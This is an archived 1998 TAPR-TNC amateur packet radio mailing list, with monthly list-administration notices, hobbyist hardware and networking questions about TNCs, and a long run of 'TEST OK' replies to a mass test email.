Message-Id: <19980508044214.BQAG4686>

and

Date: Thu, 7 May 1998 23:37:11 -0500 (CDT)
Message-Id: <19980508043308.KYTJ26745>

Please email me privately, I'd like to find a way around this (I don't think I'll be capable of receiving email directly from this person for obvious reasons :-)

3. Unconventional setup

From: "Brown, Russ" <brownr@mdaw.mdc.com>
Date: 12 May 1998 08:04:17 U
To: "tapr-tnc" <tapr-tnc@tapr.org>

Message-ID: <n1317162296.12278@mdaw.mdc.com>
Rendered body type: text/plain

Dear SIG:
I've got a PicoPacket (dual-serial port) TNC, a Tripmate GPS, a laptop, and I'm using APRS+ software.

Unlike most truck-based systems, I am not interested in transmitting my position, but want to use the Tripmate to display my position on the map while monitoring 1 or 2 mobiles that ARE transmitting their position.

Question: Is it possible to connect the Tripmate to the laptop's serial port AND somehow connect the TNC to the laptop's mouse port?? Could I also power the TNC this way? Has anyone ever done this? Thanks.

Russ Brown, TAPR member
KB6LUD

4. Re: [TAPR-TNC:487] Anyone have a sample HDLC frame?

From: LNUSSAT.JMALMBER@eds.com
Date: Wed, 13 May 1998 11:39:41 -0400
To: tapr-tnc <tapr-tnc@tapr.org>
Message-ID: <009500001291116200000 2L022*@MHS>
Rendered body type: text/plain

Since you seem to have a way of sending your test HDLC frame raw to your TNC, IMHO the procedure would be to modify your code to be a receiver and capture an HDLC frame from your TNC. That would give you the best test cases and validation your algorithms.

-John
E-Mail: LNUSSAT.JMALMBER@GMEDS.COM
AX.25: WB8TYW@K4HRY.#MIDTN.TN.USA.NA

tapr-tnc [INET.TAPRTNC] @ DIAMOND
05/08/98 12:00 AM

To: tapr-tnc [INET.TAPRTNC] @ DIAMOND
cc:
Subject: [TAPR-TNC:487] Anyone have a sample HDLC frame?

Hi Folks:

I'm wondering if someone can provide me with a complete AX.25 HDLC frame. By this I mean the really raw data including bit-stuffing left in and the FCS. I can't figure a way to get my TNC to spit this out and I've searched around the TAPR archives without success. I'm working on a project that requires me to construct the HDLC frames from scratch and I need to know whether the procedures I'm using are correct. Yeah, I know I could just construct the frame, transmit it and see if my TNC can decode it, but if it fails to decode it I won't know what error I've made. If I could get a complete frame that I know is good, it would move me a fair distance down the road. I really only need something simple, a UI frame with just a byte or two would be fine.

Thanks in advance for any assistance you may be able to provide.

John Hansen, W2FS (ex-WA0PTV)

June 1998

Original source file: tapr-tnc.9806
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9806

1. (no subject)

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 1 Jun 1998 00:00:02 -0400
To: tapr-tnc@tapr.org
Message-ID: <199806010400.AAA00183@penny.n2wx.ampr.org>
Rendered body type: text/plain

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.


Problems with your internet provider?
-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

************************
  Statement of Purpose
************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
```

try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. Youth seeks info on easy to build TNC

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 4 Jun 1998 19:36:13 -0400
To: tapr-tnc@tapr.org
Message-ID: <199806042336.TAA04615@penny.n2wx.ampr.org>
Rendered body type: text/plain

This note was forwarded to me from a good samaritan looking at the
TAPR comments stuff (Hi Greg)

If you can assist Joshua please email him directly as he does not
subscribe to this mailing list.

------- start of forwarded message (RFC 934 encapsulation) -------
From: lbelect@sockets.net
To: "Howard   Goldstein"<hg@n2wx.ampr.org>
Subject: (Form) Comments from your Home Page from
Date: Thu, 4 Jun 1998 17:32:34 -0500

Name: Joshua K Wood
Callsign: KC0BUF
Email: lbelect@sockets.net

Address: Joshua K Wood KC0BUF
         Rt. 3 Box 286
City: Eldon, Missouri 65026 USA

- ---Comments--
First of all, I sent an email to you accidentally and I apologize. I'm new
to this email thing. Now, on to business. I am a 14 year old who is going
to my grandparents this summer. I wanted a way to keep them informed and
also something to do over the summer. I was wondering if you would send me
a quick and dirty circuit for a tnc for two meters. Nothing fancy, just
something to play around with. Thank you and 73, Josh
- --

------- end -------

3. Need the PAL file for TAPR FM dev meter's ami 18cv8pc-25

From: David Garnier <garnierd@csd.uwm.edu>
Date: Sat, 20 Jun 1998 11:45:29 -0700
To: tapr-tnc@tapr.org
Message-ID: <358C0349.3344@alphag.csd.uwm.edu>
Rendered body type: text/plain

Hello

Maybe this isn't the forum to ask, I applogize but I am getting
desparate.

I am looking for the PAL file to program tapr's FM DevMeter's
PAL, the ami 18cv8pc-25. I am trying to finish this kit that I
bought at 1993's (!) Dayton hamfest; the PAL *is blank*. Would
some kind soul please send me a data file of this pal so that I
can program it on works' dataio? I would be also glad to pay for
a programmed pal if it is easier for you.

The deviation meter source code archive "devmtr.zip" that's presently
available on the tapr's software ftp is corrupted (pal program isn't
here anyway); could somebody please send me another version of this
file?

Thank you much!

dave garnier
wb9own

--
```
------------------------------------------------------------------------>
Dave Garnier                  Nobody told me that there would be days  |
University Wisc-Milwaukee     like these, strange days indeed, most    |
h 414-529-3536                perculiar mama!         - John Lennon -  |
w     647-4286                                                         |
ars  wb9own 44.92.1.8         http://www.uwm.edu/~garnierd             |
------------------------------------------------------------------------>
```

4. Testing e-mail server.

From: Darrell Sperry <ka4tar@worldnet.att.net>
Date: Thu, 25 Jun 1998 20:44:58 -0400
To: Charles & Helen Neutron <neutron@n-jcenter.com>
Cc: "\"Jack L. Sperry\"" <jackvaw@juno.com>,
        "\"Stuart M. Bass\"" <sammybass@email.msn.com>,
        "\"T. Wirick\"" <w4yjc@qisfl.net>,
        "'APRS Digiowners'" <digiowners@lounet.com>,
        aprs-fl <aprs-fl@tapr.org>, "aprsplus@k8sn.org" <aprsplus@k8sn.org>,
        "B. Hildebrand" <bhildebrand@worldnet.att.net>,
        "bob.dyball@dse.com.au" <bob.dyball@dse.com.au>,
        "BordingK@aol.com" <BordingK@aol.com>, donald 185 <donald18@pce.net>,
        Geoffrey Dick <wa4ikq@nevets.oau.org>,
        Harvey Sperry <hsperry@gate.net>,
        HOMER THOMAS <hfthomas@bellsouth.net>,
        John ka4wja MacDougall <johnmac@macdougallelect.com>,
        john w dent <wa4mej-1@juno.com>,
        LLOYD POWELL <LLOYDPLP@worldnet.att.net>,
        Loretta M McIntyre <rettm@juno.com>,
        Mario deAranzeta <mario.deAranzeta@intellon.com>,
        "n1nfc@eagnet.com" <n1nfc@eagnet.com>,
        "nms37@daccess.net" <nms37@daccess.net>,
        Reginald A Harrison <r.a.harrison@juno.com>,
        Russ Oder <highlandfl@worldnet.att.net>,
        Scott Kelly <sekelly2@worldnet.att.net>,
        Steve Dimse K4HG <k4hg@tapr.org>,
        "tapr-tnc@tapr.org" <tapr-tnc@tapr.org>, victor <penguin@gte.net>,
        WD4KKG <WD4KKG@aol.com>

Message-ID: <3592EF09.1CC118F6@worldnet.att.net>
Rendered body type: text/plain

If You get this message , Please reply by sending "TEST OK"
Thank You, Darrell, KA4TAR

5. Re: [TAPR-TNC:494] Testing e-mail server.

From: "N7ZEF" <n7zef@trib.com>
Date: Thu, 25 Jun 1998 19:21:35 -0600
To: <tapr-tnc@tapr.org>
Message-ID: <199806260125.TAA09594@home3.trib.com>
Rendered body type: text/plain

"TEST OK"

6. Re: [TAPR-TNC:494] Testing e-mail server.

From: "Dennis M. Griffin" <EagleEye@amug.org>
Date: Thu, 25 Jun 1998 18:32:19 -0700
To: tapr-tnc@tapr.org
Message-ID: <3592FA1B.F1F014ED@amug.org>
Rendered body type: text/plain

TEST OK

Darrell Sperry wrote:

> If You get this message , Please reply by sending "TEST OK"
> Thank You, Darrell, KA4TAR

7. Re: [TAPR-TNC:494] Testing e-mail server.

From: Rolando Benitez <rbenitez@c.net.gt>
Date: Thu, 25 Jun 1998 19:53:32 -0600
To: tapr-tnc@tapr.org
Message-ID: <199806260149.TAA04149@ns.c.net.gt>
Rendered body type: text/plain

"TEST OK"

8. Re: [TAPR-TNC:494] Testing e-mail server.

From: SPDomingue@aol.com
Date: Thu, 25 Jun 1998 23:37:54 EDT
To: tapr-tnc@tapr.org
Message-ID: <e7a07a8.35931793@aol.com>
Rendered body type: text/plain

Test OK
Salinas CA
N6YIH

9. Re: [TAPR-TNC:496] Re: Testing e-mail server.

From: "John Bax" <sp3bax@pointnet.nl>
Date: Fri, 26 Jun 1998 05:52:48 +0200
To: <tapr-tnc@tapr.org>
Message-ID: <01bda0b5$e2522180$0100007f@localhost>
Rendered body type: text/plain

"TEST OK"

10. RE: [TAPR-TNC:496] Re: Testing e-mail server.

From: "Rod Hart" <rwhart@ix.netcom.com>
Date: Fri, 26 Jun 1998 00:35:55 -0400
To: <tapr-tnc@tapr.org>
Message-ID: <000601bda0bb$e8a68e80$0e503c2c@misc-wa3mez.ampr.org>
Rendered body type: text/plain

> -----Original Message-----
> From: tapr-tnc@tapr.org [mailto:tapr-tnc@tapr.org]On Behalf Of Dennis M.
> Griffin
> Sent: Thursday, June 25, 1998 9:38 PM
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:496] Re: Testing e-mail server.
>
>
> TEST OK
>
> Darrell Sperry wrote:
>
> > If You get this message , Please reply by sending "TEST OK"

> > Thank You, Darrell, KA4TAR
>
>
>
>

11. Re: [TAPR-TNC:496] Re: Testing e-mail server.

From: JRinIA@aol.com
Date: Fri, 26 Jun 1998 00:42:00 EDT
To: tapr-tnc@tapr.org
Message-ID: <248f4279.35932699@aol.com>
Rendered body type: text/plain

TEST OK

12. TEST OK

From: "Josep Pegueroles (P-ljcruz) Feb 97" <teljpv@mat.upc.es>
Date: Fri, 26 Jun 1998 10:18:32 +0100 (WET DST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.SOL.3.91.980626101822.24471A-100000@mat>
Rendered body type: text/plain

On Thu, 25 Jun 1998, Darrell Sperry wrote:

> If You get this message , Please reply by sending "TEST OK"
> Thank You, Darrell, KA4TAR
>
>

13. Do not reply to test messages

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Fri, 26 Jun 1998 05:44:34 -0400
To: tapr-tnc@tapr.org
Message-ID: <199806260944.FAA00535@penny.n2wx.ampr.org>
Rendered body type: text/plain

Folks, please do not send test messages to or reply to them on the
mailing list. Thanks

73, N2WX
Your Jackbooted List Owner

14. Re: [TAPR-TNC:494] Testing e-mail server.

From: Michael_Joens@Millipore.com
Date: Fri, 26 Jun 1998 08:29:01 -0400
To: tapr-tnc@tapr.org
Message-ID: <8525662F.00448FBB.00@MilliGust.Millipore.com>
Rendered body type: text/plain

TEST OK

15. Re: [TAPR-TNC:494] Testing e-mail server.

From: Patrick Caron <f1smf@club-internet.fr>
Date: Fri, 26 Jun 1998 14:50:59 +0200
To: tapr-tnc@tapr.org
Message-ID: <35939933.42639A5A@club-internet.fr>
Rendered body type: text/plain

Darrell Sperry wrote:

> If You get this message , Please reply by sending "TEST OK"
> Thank You, Darrell, KA4TAR

 test ok

--

     +------------------------------+------------------------------+
     : Patrick Caron   :   pc1@viking.oleane.com   :
     :   :   f1smf@club-internet.fr   :
     : HAM:F1SMF   :   F1SMF@F6BIG.FRHA.FRA.EU   :
     : 26 Rue Etienne Tallard   :   04 76 13 51 54   :
     : 38580 Allevard   :   System : PC / Linux   :
     +------------------------------+------------------------------+

16. Re: [TAPR-TNC:494] Testing e-mail server.

From: kb7qlh@juno.com (Richard L. Homer)
Date: Fri, 26 Jun 1998 08:54:18 EDT

To: tapr-tnc@tapr.org
Cc: tapr-tnc@tapr.org
Message-ID: <19980626.054202.4391.0.kb7qlh@juno.com>
Rendered body type: text/plain

Since this was the only message I received, untill I got my system
repaired. I can only assume there was a virus attached to it.

Please take my name off of your MASS Mailing list.

Thank You. Spamming is not a nice thing.

Richard L. Homer KB7QLH@juno.com

On Thu, 25 Jun 1998 19:46:49 -0500 (CDT) Darrell Sperry
<ka4tar@worldnet.att.net> writes:
>If You get this message , Please reply by sending "TEST OK"
>Thank You, Darrell, KA4TAR
>
>

_____
You don't need to buy Internet access to use free Internet e-mail.
Get completely free e-mail from Juno at http://www.juno.com
Or call Juno at (800) 654-JUNO [654-5866]

17. Re: [TAPR-TNC:494] Testing e-mail server.

From: "Roger Holst" <pct@nbnet.nb.ca>
Date: Fri, 26 Jun 1998 09:35:06 -0400
To: <tapr-tnc@tapr.org>
Message-ID: <01bda107$3b0ea360$2e52edd0@pct.nbnet.nb.ca>
Rendered body type: text/plain

TEST OK
-----Original Message-----
From: Darrell Sperry <ka4tar@worldnet.att.net>
To: tapr-tnc@tapr.org <tapr-tnc@tapr.org>
Date: Thursday, June 25, 1998 8:50 PM
Subject: [TAPR-TNC:494] Testing e-mail server.

>If You get this message , Please reply by sending "TEST OK"
>Thank You, Darrell, KA4TAR
>

18. Re: [TAPR-TNC:494] Testing e-mail server.

From: garya@pioneerballoon.com
Date: Fri, 26 Jun 1998 11:13:30 -0500
To: tapr-tnc@tapr.org
Message-ID: <8625662F.00591DFF.00@pioneerballoon.com>
Rendered body type: text/plain

TEST OK

19. [NETSIG:3568] X1J4 back to Terminal (fwd)

From: Bob Nielsen <nielsen@primenet.com>
Date: Fri, 26 Jun 1998 09:19:10 -0700 (MST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.96.980626091707.494B-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

This probably should have gone to the tapr-tnc list instead of netsig. I
don't know if Chris is subscribed to tapr-tnc, so if anyone has an answer,
please cc: him.

Besides, this list could use some real (non-test) traffic.

Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
DM42nh   http://www.primenet.com/~nielsen

---------- Forwarded message ----------
Date: Fri, 26 Jun 1998 00:29:29 -0500 (CDT)
From: Chris Sussmann <sussmann@enid.com>
Reply-To: netsig@tapr.org

To: netsig@tapr.org
Subject: [NETSIG:3568] X1J4 back to Terminal

Hello all,

I have gotten my hands on a MFJ 1270C rev 11. It has been modified for
X1J4. I want to return it to `OEM'. The directions for getting it to
X1J4 are to remove U40. After talking with the guy I got the TNC from, he
says he doesn't remember taking it out. Do I need to find a HCT374 and
stick it in for it to work right??

Thanks in advance for any replies.

Chris
N1UOC
sussmann@enid.com

20. Re: [TAPR-TNC:494] Testing e-mail server.

From: LNUSSAT.JMALMBER@eds.com
Date: Fri, 26 Jun 1998 18:53:54 -0400
To: tapr-tnc <tapr-tnc@tapr.org>
Message-ID: <009500001471444600000 2L062*@MHS>
Rendered body type: text/plain

TEST OK

21. Re: [TAPR-TNC:494] Testing e-mail server.

From: ARusnak@aol.com
Date: Fri, 26 Jun 1998 22:46:38 EDT
To: tapr-tnc@tapr.org
Message-ID: <ce3d6ab.35945d0f@aol.com>
Rendered body type: text/plain

TEST OK

22. Re: [TAPR-TNC:494] Testing e-mail server.

From: "Ruud Warnaar" <Micka@worldonline.nl>
Date: Sat, 27 Jun 1998 14:08:41 +0200
To: <tapr-tnc@tapr.org>
Message-ID: <01bda1c4$530d89a0$3586f1c3@r.warnaa>
Rendered body type: text/plain

test ok
-----Oorspronkelijk bericht-----
Van: Darrell Sperry <ka4tar@worldnet.att.net>
Aan: tapr-tnc@tapr.org <tapr-tnc@tapr.org>
Datum: vrijdag 26 juni 1998 3:01
Onderwerp: [TAPR-TNC:494] Testing e-mail server.

>If You get this message , Please reply by sending "TEST OK"
>Thank You, Darrell, KA4TAR
>
>

23. Re: [TAPR-TNC:512] TAPR-TNC digest 251

From: rhandke@heart.net (Ronald Handke)
Date: Sun, 28 Jun 1998 21:30:21 -0500
To: tapr-tnc@tapr.org
Message-ID: <3596FC3D.339FA1A0@heart.net>
Rendered body type: text/plain

DO NOT KNOW IF I WAS TO RECEIVE THE MESS. BELOW, BUT I DID RECEIVE IT OK

tapr-tnc@tapr.org wrote:

> TAPR-TNC Digest 251
>
> Topics covered in this issue include:
>
>   1) Re: Testing e-mail server.
>   by ARusnak@aol.com
>   2) Re: Testing e-mail server.
>   by "Ruud Warnaar" <Micka@worldonline.nl>
>
> --
>
> Date: Fri, 26 Jun 1998 22:46:38 EDT

> From: ARusnak@aol.com
> To: tapr-tnc@tapr.org
> Subject: Re: Testing e-mail server.
> Message-ID: <ce3d6ab.35945d0f@aol.com>
>
> TEST OK
>
> ------------------------------
>
> Date: Sat, 27 Jun 1998 14:08:41 +0200
> From: "Ruud Warnaar" <Micka@worldonline.nl>
> To: <tapr-tnc@tapr.org>
> Subject: Re: Testing e-mail server.
> Message-ID: <01bda1c4$530d89a0$3586f1c3@r.warnaa>
>
> test ok
> -----Oorspronkelijk bericht-----
> Van: Darrell Sperry <ka4tar@worldnet.att.net>
> Aan: tapr-tnc@tapr.org <tapr-tnc@tapr.org>
> Datum: vrijdag 26 juni 1998 3:01
> Onderwerp: [TAPR-TNC:494] Testing e-mail server.
>
> >If You get this message , Please reply by sending "TEST OK"
> >Thank You, Darrell, KA4TAR
> >
> >
>
> ------------------------------
>
> End of TAPR-TNC Digest 251
> **************************
[Attachment: vcard.vcf; text/x-vcard; 196 bytes]

24. [TAPR-TNC:502] TEST OK -Reply

From: Chuen Ming Tan <TANCMING@hitachi.com.my>
Date: Mon, 29 Jun 1998 14:03:35 +0800
To: tapr-tnc@tapr.org
Message-ID: <s5979edc.046@gwsmtp.hisem.com>
Rendered body type: text/plain

TEST OK

25. Re: [TAPR-TNC:494] TAPR-TNC digest 249

From: "Dennis Willmon" <denniskt4bt@tallassee.net>
Date: Mon, 29 Jun 1998 02:35:04 -0500
To: <tapr-tnc@tapr.org>
Message-ID: <199806290733.CAA03090@josh.tallassee.net>
Rendered body type: text/plain

test ok

> From: tapr-tnc@tapr.org
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:494] TAPR-TNC digest 249
> Date: Thursday, June 25, 1998 7:49 PM
>
>   TAPR-TNC Digest 249
>
> Topics covered in this issue include:
>
>   1) Testing e-mail server.
>   by Darrell Sperry <ka4tar@worldnet.att.net>
>
> ---
>
> Date: Thu, 25 Jun 1998 20:44:58 -0400
> From: Darrell Sperry <ka4tar@worldnet.att.net>
> To: Charles & Helen Neutron <neutron@n-jcenter.com>
> Subject: Testing e-mail server.
> Message-ID: <3592EF09.1CC118F6@worldnet.att.net>
>
> If You get this message , Please reply by sending "TEST OK"
> Thank You, Darrell, KA4TAR
>
>
> ------------------------------
>
> End of TAPR-TNC Digest 249

> **************************

26. tcp/ip address?

From: Scott Szretter <ss@posoe.com>
Date: Mon, 29 Jun 1998 08:09:28 -0500
To: tapr-tnc@tapr.org
Message-ID: <v03130301b1bd420af489@[38.244.114.103]>
Rendered body type: text/plain

Hello,

I recently found out about the w1vvt gateway (tcp/ip) in massachusetts, and have also downloaded software for my computer to do tcp/ip through my tnc/2 meter radio.

The one question I have, is how to I get a tcp/ip address to configure my computer so I can connect and use the gateway??

Any info is greatly appriciated.

Thanks,
Scott Szretter
N1VAN

27. Re: [TAPR-TNC:516] tcp/ip address?

From: Bob Nielsen <nielsen@primenet.com>
Date: Mon, 29 Jun 1998 09:09:27 -0700 (MST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.96.980629090532.18894F-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Mon, 29 Jun 1998, Scott Szretter wrote:

> Hello,
>
> I recently found out about the w1vvt gateway (tcp/ip) in massachusetts, and have also downloaded software for my computer to do tcp/ip through my tnc/2 meter radio.
>
> The one question I have, is how to I get a tcp/ip address to configure my computer so I can connect and use the gateway??
>
> Any info is greatly appriciated.

TCP/IP addresses in the 44.0.0.0/8 network are assigned by state coordinators. Massachusetts actually has three people doing this:

44.044/18	USA:Massachusetts:western	KA1XN	Bob Wilson
44.056/18	USA:Eastern&Central Mass	N1MGO	Gordon LaPoint
44.056.12/24	USA:Massachusetts: Worcester	N1MPY	Wayne McMahon

Contact the appropriate coordinator for your area.

(The list is at ftp://ftp.ucsd.edu/hamradio/amprnets).

73,

Bob Nielsen, W6SWE

Bob Nielsen Internet: nielsen@primenet.com
Tucson, AZ AMPRnet: w6swe@w6swe.ampr.org
DM42nh http://www.primenet.com/~nielsen

28. Re: [TAPR-TNC:494] Testing e-mail server.

From: Carol A Byers <crlbyers@garlic.com>
Date: Thu, 13 Jan 2000 11:22:07 -0800
To: tapr-tnc@tapr.org
Message-ID: <387E25DF.B42D0DC2@garlic.com>
Rendered body type: text/plain

"TEST OK"

Darrell Sperry wrote:

> If You get this message , Please reply by sending "TEST OK"
> Thank You, Darrell, KA4TAR

29. Re: [TAPR-TNC:494] Testing e-mail server.

From: ervk@juno.com (Ervan E. Kuhnke)
Date: Mon, 29 Jun 1998 05:41:55 -0400
To: tapr-tnc@tapr.org
Message-ID: <19980629.144346.6310.0.ervk@juno.com>
Rendered body type: text/plain

ok...Thanks

_____
You don't need to buy Internet access to use free Internet e-mail.
Get completely free e-mail from Juno at http://www.juno.com
Or call Juno at (800) 654-JUNO [654-5866]

July 1998

Original source file: tapr-tnc.9807
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9807

1. (no subject)

From: Howard Goldstein <hg@penny.n2wx.AMPR.ORG>
Date: Wed, 1 Jul 1998 00:00:02 -0400
To: tapr-tnc@tapr.org
Message-ID: <199807010400.AAA00391@penny.n2wx.ampr.org>
Rendered body type: text/plain

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.


Problems with your internet provider?
-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

************************
  Statement of Purpose
************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
```

try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. Áð: [TAPR-TNC:494] Testing e-mail server.

From: "George Fostiras" <sv4kj@compulink.gr>
Date: Thu, 2 Jul 1998 16:16:05 +0300
To: <tapr-tnc@tapr.org>
Message-ID: <01bda5bb$917d0940$8f80f2c3@karditsa1.compulink.gr>
Rendered body type: text/plain

TEST OK
-----Áñ÷éêü ìÞíõìá-----
Áðü: Darrell Sperry <ka4tar@worldnet.att.net>
Ðñïò: tapr-tnc@tapr.org <tapr-tnc@tapr.org>
Çìåñïìçßá: Ðáñáóêåõþ, 26 Éïõíßïõ 1998 4:13 ðì
ÈÝìá: [TAPR-TNC:494] Testing e-mail server.

>If You get this message , Please reply by sending "TEST OK"
>Thank You, Darrell, KA4TAR
>

3. Απ: [TAPR-TNC:501] Re: Testing e-mail server.

From: "George Fostiras" <sv4kj@compulink.gr>
Date: Thu, 2 Jul 1998 16:16:55 +0300
To: <tapr-tnc@tapr.org>
Message-ID: <01bda5bb$af476100$8f80f2c3@karditsa1.compulink.gr>
Rendered body type: text/plain

TEST OK
-----Αρχικό μήνυμα-----
Από: JRinIA@aol.com <JRinIA@aol.com>
Προς: tapr-tnc@tapr.org <tapr-tnc@tapr.org>
Ημερομηνία: Παρασκευή, 26 Ιουνίου 1998 8:15 πμ
Θέμα: [TAPR-TNC:501] Re: Testing e-mail server.

>TEST OK
>

4. Re: [TAPR-TNC:521] □□:_[TAPR-TNC:494]_Testing_e-mail_server.

From: Ioannis Silvestros <jsilvestros@rocketmail.com>
Date: Fri, 3 Jul 1998 04:14:49 -0700 (PDT)
To: tapr-tnc@tapr.org
Message-ID: <19980703111449.18656.rocketmail@web4.rocketmail.com>
Rendered body type: text/plain

Test OK

_____
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com

August 1998

Original source file: tapr-tnc.9808
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9808

1. (no subject)

```
From: ke4rap@juno.com (Daniel R Messano)
Date: Thu, 13 Aug 1998 06:25:34 EDT
To: TAPR-TNC@tapr.org
Message-ID: <19980813.062311.7599.0.KE4RAP@juno.com>
Rendered body type: text/plain

_____________________________________________________________________
You don't need to buy Internet access to use free Internet e-mail.
Get completely free e-mail from Juno at http://www.juno.com
Or call Juno at (800) 654-JUNO [654-5866]
```

September 1998

Original source file: tapr-tnc.9809
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9809

1. (no subject)

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Tue, 1 Sep 1998 00:00:02 -0400
To: tapr-tnc@tapr.org
Message-ID: <199809010400.AAA00703@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
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with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


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--------------------------
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with a blank subject.  In the message body write

    HELP


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This mailing list accepts postings only from subscribers.  If a post is
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-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
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or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

